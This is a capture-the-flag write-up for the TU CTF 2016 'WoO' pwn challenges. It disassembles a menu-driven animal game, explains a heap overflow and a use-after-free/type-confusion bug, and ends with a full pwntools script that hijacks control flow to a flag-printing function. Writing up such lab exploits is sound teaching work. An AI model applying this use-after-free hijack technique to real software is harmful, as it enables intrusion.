WoO, WoO2 and WoO2-fxed
[TU CTF, 2016]
- Category: pwn
- Points: 50, 150, 250
- Description WoO:
My friend let me play this sick game. Can you get the hidden flag?
Challenge hosted at: 104.196.15.126:15050
- Description WoO2:
My friend said he fixed a problem in the last version, can you pwn this one too??
Unintended easy solution for this one, check out new version
Challenge is hosted at: 104.155.227.252:25050
- Description WoO2 (fixed):
My friend said he #Really# fixed a problem in the last version, can you pwn this one too??
(This is the the fixed version)
Challenge is hosted at: 104.155.227.252:31337
Write-up
All three challenges are basciallly the same and you can actually pwn all three with one exploit. First I'm gonna talk about the common parts and then about how you can exploit the three challenges.
WoO Structure
The first one I did was WoO
, so I'll explain this one first and then explain
the differences to the other versions.
Basically you get dropped into a text-based menu, which allows you to create different kinds of animals and also delete them.
Welcome! I don't think we're in Kansas anymore.
We're about to head off on an adventure!
Select some animals you want to bring along.
Menu Options:
1: Bring a lion
2: Bring a tiger
3: Bring a bear
4: Delete Animal
5: Exit
Enter your choice:
2
Choose the type of tiger you want:
1: Siberian Tiger
2: Bengal Tiger
3: Sumatran Tiger
4: Caspian Tiger
3
Enter name of tiger:
asdf
Menu Options:
1: Bring a lion
2: Bring a tiger
3: Bring a bear
4: Delete Animal
5: Exit
Enter your choice:
5
Especially the delete animal option is a strong indicator that there are gonna be issues with heap allocated objects. Turns out my hunch was right ;)
Let's look at the various functions in the program:
[0x004007f0]> afl|grep -v imp
[...]
0x004008dd 124 3 sym.l33tH4x0r
0x00400959 136 4 sym.pickLionType
0x004009e1 129 1 sym.makeLion
0x00400a62 155 4 sym.pickTigerType
0x00400afd 129 1 sym.makeTiger
0x00400b7e 135 4 sym.pickBearType
0x00400c05 157 1 sym.makeBear
0x00400ca2 67 3 sym.pwnMe
0x00400ce5 108 4 sym.deleteAnimal
0x00400d51 206 17 sym.makeStuff
0x00400e1f 81 1 sym.printMenu
0x00400e70 51 1 sym.printWelcome
0x00400ea3 93 4 sym.main
[...]
OK we have a lot of reasonable function, like picking the type for the various
kinds of animals and the constructor functions for the animal objects. But
there are also two very intersting functions: l33H4x0r
and pwnMe
.
First let's look at the l33H4x0r
function. Turns out this is a nicety of the
challenge author. It roughly does:
f = fopen("flag.txt")
fgets(buf, 0x32, f)
puts(buf)
fflush(stdout)
fclose(f)
Nice. So that's where we'll try to redirect our control flow and it will print the flag for us.
Now before we check out the out the pwnMe
function, I need to explain some
details about the other functions. We have the makeStuff
function which
get's called in an infinite loop by the main function. makeStuff
handles main
menu selection and then dispatches to the other functions. For each kind of
animal there is a make${ANIMAL}
and a pick${ANIMAL}Type
function.
When an animal is created a certain fixed amount of space is allocated on the
heap with malloc
and the type is picked and stored in the object. Then you
can input a name for the animal, A pointer to the object is stored in the
global pointers
array. The next
global variable is the index of the next
free index in the pointers array.
The deletion function is also kind of buggy. It doesn't allow deletion of index
0 and doesn't reset the next
index.
The bear is a little different than the other objects. In the first four bytes
of the bear the constant 0xdeadbeef
is stored. Also when a bear is allocated
and stored into the pointers
array, the index in the array is stored also in
the bearOffset variable. Next let's take a look at the pwnMe function:
/ (fcn) sym.pwnMe 67
| ; var int local_8h @ rbp-0x8
| ; var int local_10h @ rbp-0x10
| ; CALL XREF from 0x00400df8 (sym.makeStuff)
| 0x00400ca2 55 push rbp
| 0x00400ca3 4889e5 mov rbp, rsp
| 0x00400ca6 4883ec10 sub rsp, 0x10
| 0x00400caa 8b0510142000 mov eax, dword [rip + 0x201410] ; [0x6020c0:4]=0x4700342e LEA obj.bearOffset ; ".4" @ 0x6020c0
| 0x00400cb0 4898 cdqe
| 0x00400cb2 488b04c5e020. mov rax, qword [rax*8 + obj.pointers] ; [0x6020e0:8]=0x322e382e3420 LEA obj.pointers ; " 4.8.2" @ 0x6020e0
| 0x00400cba 488945f0 mov qword [rbp - local_10h], rax
| 0x00400cbe 488b45f0 mov rax, qword [rbp - local_10h]
| 0x00400cc2 8b4014 mov eax, dword [rax + 0x14] ; [0x14:4]=1
| 0x00400cc5 83f803 cmp eax, 3
| ,=< 0x00400cc8 7511 jne 0x400cdb
| | 0x00400cca 488b45f0 mov rax, qword [rbp - local_10h]
| | 0x00400cce 488b00 mov rax, qword [rax]
| | 0x00400cd1 488945f8 mov qword [rbp - local_8h], rax
| | 0x00400cd5 488b45f8 mov rax, qword [rbp - local_8h]
| | 0x00400cd9 ffd0 call rax
| | ; JMP XREF from 0x00400cc8 (sym.pwnMe)
| `-> 0x00400cdb bf00000000 mov edi, 0
\ 0x00400ce0 e8fbfaffff call sym.imp.exit
So what this function does is get the animal at the position bearOffset
and
checks whether it's type is 3 and if it is, it will fetch first 8 bytes of the
object and call rax
it.
We can see that this function is called from makeStuff
. A quick look around
we can see that we have to enter 0x1337
in the menu to trigger pwnMe
. So
our goal is to create a object at bearOffset
, where we can control the first
8 bytes, so we can trigger pwnMe
and redirect control flow to l33tH4x0r
.
Exploitation
Actually we can find out a lot through the differences, between the challenges.
WoO
usesscanf(%s)
to read the animal names andWoO2
andWoO2 (fixed)
usefgets
. So we have a heap based buffer overflow here.WoO2 (fixed)
initializesbearOffset
with-1
and checks for this inpwnMe
.
For WoO
and WoO2
we can just create a Tiger object with type 3 and set the
name the address of l33H4x0r
. Because bearOffset
will be initialized with
zero it will take the animal at index 0, which is the Tiger object we just
allocated.
The next interesting fact is that deleteAnimal
doesn't touch bearOffset
, so
we can allocate a bear, delete it and allocate a different kind of animal at
the same place and bearOffset
will still point to the same index. This is a
kind of UAF/type confusion vulnerability and works on all three versions of
the challenge.
I guess WoO
was supposed to be solved using a heap overflow, but I didn't see
a straight forward way to do that. So I just used the UAF. The flags are
- WoO
TUCTF{H3ap_O_Fl0w_ftw}
- WoO2
TUCTF{free_as_in_freedom_I_mean_Use_after_free}
- WoO2 (fixed)
TUCTF{free_as_in_use_after_free_I_hope-_-}
This was a fun challenge, although I think in total the points you got for
solving basically one challenge were a little bit too much. A harder version
should've not provided the l33th4x0r
function.
Here's the python script I used to pwn, although most of it is scripting the interaction with the program.
#!/usr/bin/env python
from pwn import * # NOQA
context.log_level = "debug"
UAF = True
# vulnbin = "3eee781e62327ae39b06fec160467d6dfabe7b1a" # WoO
# vulnbin = "e67eb287f23011a40ef5bd5c2ad2f48ca97834cf" # WoO2
vulnbin = "503b8ee65d7e768e81ee95b7ce14b2a903abb5c7" # WoO2 (fixed)
velf = ELF(vulnbin)
# vp = remote("104.196.15.126", 15050) # WoO
# vp = remote("104.155.227.252", 25050) # WoO
# vp = remote("104.155.227.252", 31337) # WoO2 (fixed)
vp = process(vulnbin)
# gdb.attach(vp, execute="./gdbbreaks")
# gdb.attach(vp)
def read_menu():
for _ in range(8):
vp.readline()
for _ in range(4):
vp.readline()
read_menu()
def make_bear(content, type=3):
# choose bear in toplevel menu
vp.sendline("3")
# read bear type menu
for _ in range(3):
vp.readline()
# bear type -- this is actually whatever since we're going to overwrite it
# probably with content...
vp.sendline(str(type))
# read bear's name menu line
vp.readline()
# bear name must be 3 for pwnMe to trigger
vp.sendline(content)
read_menu()
def make_lion(content, type=2):
vp.sendline("1")
for _ in range(3):
vp.readline()
vp.sendline(str(type))
vp.readline()
vp.sendline(content)
read_menu()
def make_tiger(content, type=3):
vp.sendline("2")
for _ in range(5):
vp.readline()
vp.sendline(str(type))
vp.readline()
vp.sendline(content)
read_menu()
def delete_animal(num):
vp.sendline("4")
vp.readline()
vp.readline()
vp.sendline(str(num))
read_menu()
if UAF: # required for WoO2 (fixed)
log.info("making first bear")
make_bear("AAAA")
log.info("making second bear")
make_bear("AAAA")
log.info("deleting second bear")
delete_animal(1)
# now bearOffset == 1
calltarget = velf.symbols["l33tH4x0r"]
malcontent = p64(calltarget)
log.info("making a tiger with with content\n" + hexdump(malcontent))
log.info("redirecting control flow to " + hex(calltarget))
make_tiger(malcontent, 3)
# vp.interactive()
log.info("triggering pwnMe")
# choose pwnMe
vp.sendline(str(4919))
log.info("flag is probably:\n" + vp.readline())
vp.clean_and_log()
# vp.interactive()
vp.close()